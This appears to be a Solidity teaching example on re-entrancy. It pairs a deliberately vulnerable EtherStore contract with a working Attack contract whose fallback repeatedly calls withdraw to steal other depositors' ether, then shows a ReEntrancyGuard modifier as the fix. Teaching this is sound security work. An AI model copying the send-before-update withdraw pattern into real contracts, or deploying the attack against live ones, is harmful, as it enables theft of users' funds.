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// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
/*
EtherStore is a contract where you can deposit and withdraw ETH.
This contract is vulnerable to re-entrancy attack.
Let's see why.
1. Deploy EtherStore
2. Deposit 1 Ether each from Account 1 (Alice) and Account 2 (Bob) into EtherStore
3. Deploy Attack with address of EtherStore
4. Call Attack.attack sending 1 ether (using Account 3 (Eve)).
You will get 3 Ethers back (2 Ether stolen from Alice and Bob,
plus 1 Ether sent from this contract).
What happened?
Attack was able to call EtherStore.withdraw multiple times before
EtherStore.withdraw finished executing.
Here is how the functions were called
- Attack.attack
- EtherStore.deposit
- EtherStore.withdraw
- Attack fallback (receives 1 Ether)
- EtherStore.withdraw
- Attack.fallback (receives 1 Ether)
- EtherStore.withdraw
- Attack fallback (receives 1 Ether)
*/
contract EtherStore {
mapping(address => uint256) public balances;
function deposit() public payable {
balances[msg.sender] += msg.value;
}
function withdraw() public {
uint256 bal = balances[msg.sender];
require(bal > 0);
(bool sent,) = msg.sender.call{value: bal}("");
require(sent, "Failed to send Ether");
balances[msg.sender] = 0;
}
// Helper function to check the balance of this contract
function getBalance() public view returns (uint256) {
return address(this).balance;
}
}
contract Attack {
EtherStore public etherStore;
uint256 public constant AMOUNT = 1 ether;
constructor(address _etherStoreAddress) {
etherStore = EtherStore(_etherStoreAddress);
}
// Fallback is called when EtherStore sends Ether to this contract.
fallback() external payable {
if (address(etherStore).balance >= AMOUNT) {
etherStore.withdraw();
}
}
function attack() external payable {
require(msg.value >= AMOUNT);
etherStore.deposit{value: AMOUNT}();
etherStore.withdraw();
}
// Helper function to check the balance of this contract
function getBalance() public view returns (uint256) {
return address(this).balance;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
contract ReEntrancyGuard {
bool internal locked;
modifier noReentrant() {
require(!locked, "No re-entrancy");
locked = true;
_;
locked = false;
}
}